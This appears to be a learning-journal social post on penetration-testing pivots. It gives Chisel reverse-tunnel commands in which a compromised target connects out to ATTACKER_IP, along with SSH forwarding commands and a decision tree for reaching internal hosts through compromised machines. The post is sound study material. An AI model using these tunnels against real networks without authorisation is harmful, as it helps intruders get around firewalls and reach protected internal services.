Day 28: Advanced Pivoting — Reverse Tunnels and The 127.0.0.1 Gateway 🕵️‍♂️

🛠️ Mastering the "Reverse" Pivot (Chisel)

In many modern security setups, you cannot SSH into a server because the firewall blocks all Inbound traffic. However, most servers are allowed to "call home" (Outbound).

1. The Chisel Reverse Setup

When the attacker is blocked, we make the target connect to us.

• Attacker (Server): ./chisel server -p 9000 --reverse
• Target (Client): ./chisel client ATTACKER_IP:9000 R:2222:127.0.0.1:22
• The Result: On my attacker machine, port 2222 now points directly to the target's SSH service.
• Accessing it: ssh user@127.0.0.1 -p 2222

🔓 The Localhost Gateway Rule

One of the biggest hurdles in pivoting is understanding where to "point" your tools. I solidified the Localhost Rule today:

• The Tunnel: ssh -L 8080:internal-web:80 user@pivot
• The Connection: You never connect to the internal-web IP directly. You connect to your own machine: http://127.0.0.1:8080.
• Why? Because your local port is the "mouth" of the tunnel that carries your traffic to the other side.

🕵️‍♂️ Advanced Networking Decision Tree

My workflow for choosing a pivot technique:

1. Inbound SSH Allowed? Use ssh -D 1080 (Dynamic) for scanning or ssh -L for specific ports.
2. Inbound Blocked / Outbound Allowed? Use Chisel Reverse or ssh -R.
3. Internal Target Isolated? Pivot through the nearest compromised neighbor.

Follow my journey: #1HourADayJourney